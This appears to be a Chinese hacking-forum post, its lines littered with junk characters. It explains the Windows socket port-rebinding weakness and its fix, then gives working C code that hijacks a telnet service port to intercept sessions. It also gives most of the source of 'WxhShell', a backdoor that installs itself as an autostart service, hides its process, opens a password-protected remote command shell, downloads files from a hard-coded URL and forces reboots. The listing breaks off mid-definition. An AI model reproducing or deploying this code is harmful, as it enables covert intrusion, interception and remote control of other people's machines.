在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
m6^n8% s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
19.oW49Sw ;ro%Wjg`} saddr.sin_family = AF_INET;
:FqHMN R8![
$mkU saddr.sin_addr.s_addr = htonl(INADDR_ANY);
Z_}[hz$ X|Z2"*;b` bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
#Qnl,lf `M.\ D 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
EX9os |v31weD8 这意味着什么?意味着可以进行如下的攻击:
u[G`_Y{=EM B #zU'G*Y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
MiB}10 KR sY `[Y 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
g;G]Xi.B} Qvl3=[S 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
WG=~GDS> nYbI =_- 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
A4`3yy{0- z)&ZoSXWc 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
-K*&I! !au%D?w 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
N497"H</ l6#ms!e 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
|VxO ,[~ )CM3vL { #include
\1R<GBC4 #include
QkU6eE<M* #include
Dj(!i1eQNZ #include
t0-)\kXcA DWORD WINAPI ClientThread(LPVOID lpParam);
AIX?840V int main()
l11+sqg {
eUeOyC WORD wVersionRequested;
N^;rLrm* DWORD ret;
C6ry]R@ WSADATA wsaData;
,J)wn;@ BOOL val;
aq-R#q SOCKADDR_IN saddr;
b]cnTR2E SOCKADDR_IN scaddr;
Z/~7N9?m( int err;
|QcE5UC SOCKET s;
7;x}W-`iF SOCKET sc;
/_.1f|{B int caddsize;
Bq4^nDK HANDLE mt;
g886RhCe DWORD tid;
{RPZq2Tpc wVersionRequested = MAKEWORD( 2, 2 );
!aQQq[ err = WSAStartup( wVersionRequested, &wsaData );
X8Y)5,`s if ( err != 0 ) {
ZtPnHs.x printf("error!WSAStartup failed!\n");
yHIZpU|(j return -1;
Zm+QhnY| }
tVFydN~ saddr.sin_family = AF_INET;
M'-Z" V4>qR{5 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
)o%sN'U,1 ;r.0=Uo9] saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
DL]\dD saddr.sin_port = htons(23);
>3&Oe if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
L$Yg*]\ {
CS|al(?~ printf("error!socket failed!\n");
nXFPoR)T return -1;
R7Z7o4jg }
}I>h<O val = TRUE;
b^q8s4( //SO_REUSEADDR选项就是可以实现端口重绑定的
U1 ;<NUg if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
3Eu;_u_ {
8PXjdHR printf("error!setsockopt failed!\n");
3]cW08"c return -1;
[JyhzYf\ }
[oS4WP //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
v|
Yh]y //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
odaCKhdk //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
L2<IG)oXU wJ Qm7n-+ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
&&$,BFY4 {
TcKt ret=GetLastError();
Pg\!\5 printf("error!bind failed!\n");
'Vz Yf^ return -1;
xN
CU5 }
(YC{BM} listen(s,2);
j Wjp0ii while(1)
L=# nnj- {
=
iXHu
*g caddsize = sizeof(scaddr);
wJMk%N~R: //接受连接请求
}eq*dr1` sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
v{c,>]@ if(sc!=INVALID_SOCKET)
3[;fO_ R {
ScCA8JgY mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
G%FLt[ if(mt==NULL)
S\"#E:A {
V''?kVJ printf("Thread Creat Failed!\n");
DqN<bu2 break;
"
.<>(bE }
r~q3nIe/, }
$LOwuvu> CloseHandle(mt);
AJ"a }
KMll8X closesocket(s);
}|u>b!7_. WSACleanup();
Ygs:Ox"[-G return 0;
JcJc&cG }
iRK&-wn DWORD WINAPI ClientThread(LPVOID lpParam)
Xt9vTCox {
d$qi.%<kh SOCKET ss = (SOCKET)lpParam;
Uy98lv SOCKET sc;
@t{`KB+
^ unsigned char buf[4096];
T:=ST3#m SOCKADDR_IN saddr;
=;A>1g$ long num;
oo-O>M#5 DWORD val;
?ytY8`PC DWORD ret;
a>8&B //如果是隐藏端口应用的话,可以在此处加一些判断
U!O"f //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
K'\Jnn saddr.sin_family = AF_INET;
R>T9 H0 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
,+GS.]8< saddr.sin_port = htons(23);
j{&$_ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
f~t5[D(\Q, {
me ,lE- printf("error!socket failed!\n");
$eiW2@ return -1;
yE{\]j|Zf }
20Z=_}, val = 100;
d\-v+'d*+ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
G(;R+%pu {
I#UL nSJ3 ret = GetLastError();
F_.1^XM return -1;
F_d>@-< }
WG]`Sy if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
;q&uk- {
U
uEm{ ret = GetLastError();
Dt:NBN return -1;
SbXV'&M2AT }
KD^n7+w% if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
& N.]8x5A {
7Q0vwKC8> printf("error!socket connect failed!\n");
w`I+4&/h closesocket(sc);
iiLDl closesocket(ss);
{M
^5w return -1;
Bg. }
Uu[dx}y while(1)
\5P 5N]] {
>UnLq:G //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
]O&\P n0q //如果是嗅探内容的话,可以再此处进行内容分析和记录
a^g}Z7D'T //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
Z9q1z~qSQ num = recv(ss,buf,4096,0);
ac%x\e$ if(num>0)
eZ8DW6 l*
send(sc,buf,num,0);
^TEFKx}PX else if(num==0)
vlC$0P break;
I3;03X<2 num = recv(sc,buf,4096,0);
LbUH`0:%t if(num>0)
p`)Mk<`dYD send(ss,buf,num,0);
M3!4,_!~ else if(num==0)
'l $ViNq; break;
9Ecc~'f }
pmc)$3u closesocket(ss);
Go)}%[@w closesocket(sc);
K1CgM1 v return 0 ;
w0P Atu }
3R<VpN){ PwnfXsR 4w#:?Y
_\[ ==========================================================
1Vx>\A !CUM*<iV 下边附上一个代码,,WXhSHELL
xV"~?vD 8lFYk`|g ==========================================================
s1bb2R uaqV)H #include "stdafx.h"
i
hcSS Um nm,(Wdr #include <stdio.h>
2$b JMx> #include <string.h>
wGgeK,*_ #include <windows.h>
a[jNT$8 #include <winsock2.h>
z:oi@q #include <winsvc.h>
n{(,r' #include <urlmon.h>
#'4Psz <9]J/w+ #pragma comment (lib, "Ws2_32.lib")
eCjyx|:J #pragma comment (lib, "urlmon.lib")
[&sabM`Ul K"cV7U rE #define MAX_USER 100 // 最大客户端连接数
:Q ?p^OC #define BUF_SOCK 200 // sock buffer
&2r[4 #define KEY_BUFF 255 // 输入 buffer
Uc9hv? E&dxM{` #define REBOOT 0 // 重启
V3<#_:; #define SHUTDOWN 1 // 关机
8&SWQ Q})&c.L #define DEF_PORT 5000 // 监听端口
h{:
]'/@~ tuJ{IF #define REG_LEN 16 // 注册表键长度
kTA4!654 #define SVC_LEN 80 // NT服务名长度
DfX~}km y#FFxSH> // 从dll定义API
S5\KI+;PW typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
f h:wmc' typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
nh? JiH
{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
K=>j+a5$ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
kGu{[Rh <07]w$m/ // wxhshell配置信息
Mtc - struct WSCFG {
vi]cl=S int ws_port; // 监听端口
63QF1*gPH char ws_passstr[REG_LEN]; // 口令
HV{W7) int ws_autoins; // 安装标记, 1=yes 0=no
0:$pJtx" char ws_regname[REG_LEN]; // 注册表键名
NInZ~4: char ws_svcname[REG_LEN]; // 服务名
U$WGe >, char ws_svcdisp[SVC_LEN]; // 服务显示名
U6#9W}CE char ws_svcdesc[SVC_LEN]; // 服务描述信息
%WPyc%I char ws_passmsg[SVC_LEN]; // 密码输入提示信息
;Kh?iqn^ int ws_downexe; // 下载执行标记, 1=yes 0=no
B &
]GGy char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
n7.85p@ua char ws_filenam[SVC_LEN]; // 下载后保存的文件名
vs@u*4.Ut< <8^ws90Y };
qWS"I+o,S : . PRM+ // default Wxhshell configuration
[WI'oy struct WSCFG wscfg={DEF_PORT,
Bh7hF?c Sj "xuhuanlingzhe",
ccT
<UIpq 1,
wli H3vA_ "Wxhshell",
yIg^iZD
"Wxhshell",
G +AP."M? "WxhShell Service",
4m6/ba "Wrsky Windows CmdShell Service",
=s9*=5r 8 "Please Input Your Password: ",
UkcH+0o 1,
\f7R^;`_<R "
http://www.wrsky.com/wxhshell.exe",
T(Ji%S> "Wxhshell.exe"
-/:K.SY, };
55/)2B2J KE-0/m4yJ // 消息定义模块
!6hV|2aJy char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
& jm1 char *msg_ws_prompt="\n\r? for help\n\r#>";
mV+9*or char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
v6ei47- char *msg_ws_ext="\n\rExit.";
n<1*cL:8B char *msg_ws_end="\n\rQuit.";
:3{n(~ char *msg_ws_boot="\n\rReboot...";
F`1J&S;C char *msg_ws_poff="\n\rShutdown...";
4I#@xm8) char *msg_ws_down="\n\rSave to ";
qMw_`dC In8{7&iVO char *msg_ws_err="\n\rErr!";
z
pDc~ebh char *msg_ws_ok="\n\rOK!";
_jH./ @G iUs_)1 char ExeFile[MAX_PATH];
Y$9x!kV int nUser = 0;
,y@WFRsx HANDLE handles[MAX_USER];
mY]o_\` int OsIsNt;
cPkP/3I]h S VypR LVB SERVICE_STATUS serviceStatus;
5}a.< SERVICE_STATUS_HANDLE hServiceStatusHandle;
K+~1z>& RKp9[^/? // 函数声明
ihekON": int Install(void);
+U4';[LG1C int Uninstall(void);
\-sW>LIA int DownloadFile(char *sURL, SOCKET wsh);
s>%.bAxc int Boot(int flag);
d[Zx [=h void HideProc(void);
f4VdH#eng` int GetOsVer(void);
/PbMt int Wxhshell(SOCKET wsl);
0sH~H[ap void TalkWithClient(void *cs);
NKTy!zWh int CmdShell(SOCKET sock);
w`v`aw] int StartFromService(void);
lbPn< int StartWxhshell(LPSTR lpCmdLine);
"&o"6ra} dnV&U%fO VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
q=*bcDu VOID WINAPI NTServiceHandler( DWORD fdwControl );
pfw`<*e' /1_O5'5+v // 数据结构和表定义
f:6F5G SERVICE_TABLE_ENTRY DispatchTable[] =
X ka+1c {
pE%*r@p4&4 {wscfg.ws_svcname, NTServiceMain},
%:j`%F;R {NULL, NULL}
""Oir!4 };
,5j3(Lk Q
pIec\a+ // 自我安装
+hX= int Install(void)
:yTr:FoF {
}R%*J char svExeFile[MAX_PATH];
5,-:31(j\ HKEY key;
M Np4=R strcpy(svExeFile,ExeFile);
AMASh* KzQFG)q , // 如果是win9x系统,修改注册表设为自启动
y:_>R=sw if(!OsIsNt) {
d c/^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
RJKi98xwJ
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
aX*9T8H/ RegCloseKey(key);
X&i;WI if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
PjXiYc& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
OUFy=5(%: RegCloseKey(key);
G6lC[eK return 0;
Xk1uCVUe5 }
#l@P}sHXq }
k7j[tB# }
CD5% iFy else {
j-VwY/X UZ "!lpg // 如果是NT以上系统,安装为系统服务
sbhzER SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
[rW];H8:~ if (schSCManager!=0)
T8%!l40v {
EhW"s%Q SC_HANDLE schService = CreateService
Lf%=vd (
qM6hE.J schSCManager,
HXC\``E wscfg.ws_svcname,
[lVfhXc& wscfg.ws_svcdisp,
TY5R=jh= SERVICE_ALL_ACCESS,
*e<}hmDr SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Uq`6VpZ SERVICE_AUTO_START,
Vw.)T/B_D SERVICE_ERROR_NORMAL,
G!wb|-4<$ svExeFile,
6b$C/ NULL,
`)4v Q+A> NULL,
wm Ie x NULL,
nkTdn NULL,
<Q"G
aqZ NULL
w%..*+P );
JYmYX- if (schService!=0)
'.<c[Mp {
cd=|P?Bi CloseServiceHandle(schService);
g'{?j~g CloseServiceHandle(schSCManager);
fD3'Ye<R strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
^,FG9 strcat(svExeFile,wscfg.ws_svcname);
z] -m<#1 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
&328pOT4 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
"6U@e0ht RegCloseKey(key);
<mj/P|P@ return 0;
l9OpaOVfJ }
6VuyKt }
,>za|y<n CloseServiceHandle(schSCManager);
}0Uh<v@ }
/8nUecr }
z>iXNwz"? _0FMwC#DY return 1;
e6mm;@F> }
/GM!3%'= {2mF\A#. // 自我卸载
#:P$a%V int Uninstall(void)
ngmC~l*, {
d:>'c=y HKEY key;
YllZ5<} MkjB4:" if(!OsIsNt) {
"'@D\e} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7Z~JuTIZ RegDeleteValue(key,wscfg.ws_regname);
"\T-r 2 RegCloseKey(key);
RgJbM\`}? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
q5JQx**g RegDeleteValue(key,wscfg.ws_regname);
z^jmf_ RegCloseKey(key);
Q672iR\#) return 0;
Bha("kG }
^IyQzBOj }
.'Q*_};W }
GQk/ G0*& else {
WTM eThFRU3 F SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Nnr[@^M5 if (schSCManager!=0)
"Nb2[R {
Y
.cjEeL@ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
GDe,n if (schService!=0)
UKV<Ye| {
x?lRObHK if(DeleteService(schService)!=0) {
`LLmdm 6i CloseServiceHandle(schService);
_|cSXZ| CloseServiceHandle(schSCManager);
TQ:5@1aT return 0;
%3"3V1 }
tm1&OY CloseServiceHandle(schService);
u\=
05N6G }
F?"Gln~; CloseServiceHandle(schSCManager);
n4M
Xa()P1 }
3e47UquZ }
d>W#c8X> {.p;V return 1;
?U[6X|1 }
i2rSP$j
(n~fe-?}8 // 从指定url下载文件
Y\WVkd(+G int DownloadFile(char *sURL, SOCKET wsh)
lY(_e# {
>o v#\ HRESULT hr;
n7G`b' char seps[]= "/";
K(lSR char *token;
OcPgw/
I char *file;
t 4zUj%F char myURL[MAX_PATH];
{r$Ewc$Yb7 char myFILE[MAX_PATH];
1a V32oK iGz*4^% strcpy(myURL,sURL);
hmOGteAf- token=strtok(myURL,seps);
J Eo;Fx] while(token!=NULL)
x V`l6QS {
4 qY file=token;
!G\gqkSL token=strtok(NULL,seps);
d4ld-y }
o _l_Yi }CMGK{ GetCurrentDirectory(MAX_PATH,myFILE);
ZzTkEz > strcat(myFILE, "\\");
zh0T3U0D strcat(myFILE, file);
>o{JG(Rn send(wsh,myFILE,strlen(myFILE),0);
4e .19H9 send(wsh,"...",3,0);
E`(=n(Qu hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
KS$"Re$ if(hr==S_OK)
_yR_u+5 return 0;
;|oft-y else
QdcuV\B} return 1;
&4} =@'G@ ot2zY
dWAz }
42tZBz& vqQ)Pu?T // 系统电源模块
:[(%4se int Boot(int flag)
v0! 1W {
\}W3\To_ HANDLE hToken;
cF=W hP*f TOKEN_PRIVILEGES tkp;
#_aq@)Fd %+,*$wk#* if(OsIsNt) {
PN8#T:E OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
7NWkN7:B LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
_F`JFMS tkp.PrivilegeCount = 1;
[kqtkgK$j2 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
[q3zs_nz AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
<;W-!R759 if(flag==REBOOT) {
DCZG'eb if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Y/I)ECm return 0;
m%[/w wL }
AkW>*x else {
BY[7`@ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
WjK[% ;Z! return 0;
ok:L]8UN3 }
B0)|sH }
f.^|2T I1g else {
73.+0x if(flag==REBOOT) {
Sew*0S( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
GH-Fqz return 0;
P7,g^:$ }
Br}@Vvq@ else {
ENr#3+m$; if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
#\}FQl6 return 0;
Ug546Bz }
{5{VGAD&]> }
na~ FT[3C p U !: return 1;
y9R%%i }
.N.RpRz{f #-f9>S9_ // win9x进程隐藏模块
ZYY2pY 1 void HideProc(void)
P*7G? {
YZ8[h`z 5psJv|Zo] HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
BgUp~zdo if ( hKernel != NULL )
z_R^C%0k {
/@1YlxKF pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
52Lp_M ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
%Gyn.9\ FreeLibrary(hKernel);
_4L6 }
5fiWo^s} %bF157X5An return;
ercXw7{ }
,<#Rk'y$ ys`oHSf // 获取操作系统版本
3T0-RP* int GetOsVer(void)
f R@Cg
sw {
ilJ`_QN OSVERSIONINFO winfo;
g~.#.S ds winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Haktr2I GetVersionEx(&winfo);
P;z\vq<h if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
C"**>OGe return 1;
+jwk4BU else
`|Di?4+6% return 0;
\ HUDZ2 s }
j[A(@w" 2#^g] o-N // 客户端句柄模块
L8h!%56s int Wxhshell(SOCKET wsl)
h0k?(O {
;Bz|hB{ SOCKET wsh;
k;t G-~\d struct sockaddr_in client;
EwV$2AK DWORD myID;
H,GjPIG ~!PWJ~U while(nUser<MAX_USER)
lGR0-Gh2 {
EZI#CLT[ int nSize=sizeof(client);
$<2d|;7r wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
SZ[?2z if(wsh==INVALID_SOCKET) return 1;
UxHI6,b SDE+"MjBY handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
hR7uAk_? if(handles[nUser]==0)
.$}z</#! closesocket(wsh);
=d ;#Nu- else
PpG;5 nUser++;
uyk;]EYjHZ }
d;gs1]E50 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
gU|:Y&lFZg xcmg3:s return 0;
FA{Q6fi:2 }
G]k[A=dg @SxZ>|r-|v // 关闭 socket
:* ]#n void CloseIt(SOCKET wsh)
v .C {
8M,o)oH closesocket(wsh);
Q0jg(=9wP nUser--;
]nRf%Vi8g ExitThread(0);
sPW:[ }
uk$MQv*D H3R{+7 // 客户端请求句柄
59j`Z^e void TalkWithClient(void *cs)
`Rt w'Uz {
><"|>(y D-C]0Jf3 SOCKET wsh=(SOCKET)cs;
B1~`*~@
char pwd[SVC_LEN];
K*DH_\SPK char cmd[KEY_BUFF];
\ Xh
C char chr[1];
"k @[7
7 int i,j;
Pi?G:IF svEe@Kt` while (nUser < MAX_USER) {
?32~%?m Myg;2 . if(wscfg.ws_passstr) {
g7hI9(8+ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
d{NMG)`x\ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
S
WTZ6(!oW //ZeroMemory(pwd,KEY_BUFF);
%SIll i=0;
?K2EK'-q while(i<SVC_LEN) {
t~K[`=G\ex 5ta;C G // 设置超时
0F- +)S?M[ fd_set FdRead;
Uq'W<.v5 struct timeval TimeOut;
S{e3aqT#N FD_ZERO(&FdRead);
9<3}zwJ FD_SET(wsh,&FdRead);
dg#Pb@7a TimeOut.tv_sec=8;
C|Gk} TimeOut.tv_usec=0;
VV$#<D<) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
j?o6>j if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
:'<;]~f /P9fcNP{y if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Q~wS2f`) pwd
=chr[0]; J`[jub
if(chr[0]==0xd || chr[0]==0xa) {
wI
7gHp
pwd=0; #P}n+w_@
break; w$iPFZC'
} :qj^RcmVPL
i++; ydO G8EI
} Oj%5FUP~[%
jGkDD8K [
// 如果是非法用户,关闭 socket x5PM]~"p
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); s92ol0`
} 9Ca0Tu
7DK}c]js
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); RaSuzy^`*]
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -UidU+ES;
aizws[C
while(1) { }[!=O+gO
@,,G]4zZ!
ZeroMemory(cmd,KEY_BUFF); [6g$;SicT
T'lycc4~a
// 自动支持客户端 telnet标准 SOsz=bVx
j=0; 5
Slz^@n
while(j<KEY_BUFF) { |n;);T(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M'R
] ''
cmd[j]=chr[0]; ~QUNR?h
if(chr[0]==0xa || chr[0]==0xd) { 4*f+np
cmd[j]=0; *mj=kJ7(
break; 5-fASN.Lx
} :!CnGKgt
j++; #=)>,6Zw
} 8,h!&9
29G el
// 下载文件 +Z_VF30pa
if(strstr(cmd,"http://")) { alzdYiGf
send(wsh,msg_ws_down,strlen(msg_ws_down),0); tXrKC
if(DownloadFile(cmd,wsh)) oKz!Xu%Hl
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,']CqhL6=R
else NA0Z~Ug>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q{=r9&&
} 38X{>*
else { =w!9:I&a0
SnUR?k1
switch(cmd[0]) { eF7I5k4
7y30TU
// 帮助 5/U{b5
case '?': { 7>r[.g
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |"Zf0G
break; ^K J#dT
} 9:xs)t- _
// 安装 z8kebS&5
case 'i': { sb_/FE5e
if(Install()) cg]Gt1SU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qp:m=f6@
else / s Apj
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \@h$|nb
break; nLk`W"irM
} 6/g
82kqpk
// 卸载 se>\5k
case 'r': { pd,d"+
if(Uninstall()) /TB{|_HbW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^A\(M%*F
else M(\{U"%@?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |XQ_4{
break; s}UJv\*
} QAo/d4
// 显示 wxhshell 所在路径 u~FVI
case 'p': { Oop6o$k
char svExeFile[MAX_PATH]; wmR~e
strcpy(svExeFile,"\n\r"); ^ @=4HtA
strcat(svExeFile,ExeFile); lqrI*@>Tz
send(wsh,svExeFile,strlen(svExeFile),0); ,1CmB@
break; b$nev[`{6
} 2-UD^;0
// 重启 $g VbeQ
case 'b': { >;j&]]-&
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W79.Nj2`
if(Boot(REBOOT)) |${ImP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :6(@P1vA 6
else { yXEI%2~)
closesocket(wsh); UYy #DA
ExitThread(0); {=J:
} }C["'tLX
break; EAWBgOO8iC
} %}~(%@qB>+
// 关机 |9FrVO$M
case 'd': { ?A .ah
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %c]N-
if(Boot(SHUTDOWN)) !L9]nO 'BL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c}),yQ|!:
else { yEh{9S%6p
closesocket(wsh); ndN*X'
ExitThread(0); @\oZ2sB
} hiV!/}'7
break; }{,Wha5\n
}
(igB'S5wf
// 获取shell >fT%CGLC0
case 's': { X6t9*|C
CmdShell(wsh); e_!Z-#\J%
closesocket(wsh); hHDLrr
ExitThread(0); bJ6C7-w:wa
break; Q;q{1M >
} ?D9iCP~~
// 退出 hG<[F@d
case 'x': { -nUK%a"(D
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b-@9Xjv
CloseIt(wsh); Lq.2vfA>
break; 14uv[z6
} XMP4YWuVc
// 离开 _p9"MU&}
case 'q': { Xnh&Kyz`v
send(wsh,msg_ws_end,strlen(msg_ws_end),0); H)&iFq
closesocket(wsh); sy4Nm0m
WSACleanup(); ld({1jpX,
exit(1); 1#AxFdm1
break; _tjexS'
} .qYQ3G'V
} #<
:`:@2
} >X:!Y[N
K]yWpW
// 提示信息 Ijz*wq\s;
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /$\8?<Pc".
} z"7X.*]
} #s>'IPc0
jRDvVV/-wr
return; %{^|Av1Uz
} R/E6n &R
'YbE%i}
// shell模块句柄 #CyqiOM\*
int CmdShell(SOCKET sock) }F9#3W&`c
{ Q9f5}
STARTUPINFO si; "8U=0 a
ZeroMemory(&si,sizeof(si)); uz$p'Q
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^k^?>h
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~h=iZ/g_^_
PROCESS_INFORMATION ProcessInfo; DC BN89#
char cmdline[]="cmd"; 'q}f3u >
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); vE#8&Zq
return 0; ?X\.O-=4X
} i<tJG{A=
!SnLvW89Z
// 自身启动模式 H*f2fyC1\
int StartFromService(void) /e|qyWs
{ 4
540Lw'A
typedef struct {5%d#|?
{ =_@) KWeX$
DWORD ExitStatus; ug;\`.nT^
DWORD PebBaseAddress; ;9 ChBA
DWORD AffinityMask; -^7
$HD
DWORD BasePriority; Tj<B;f!u
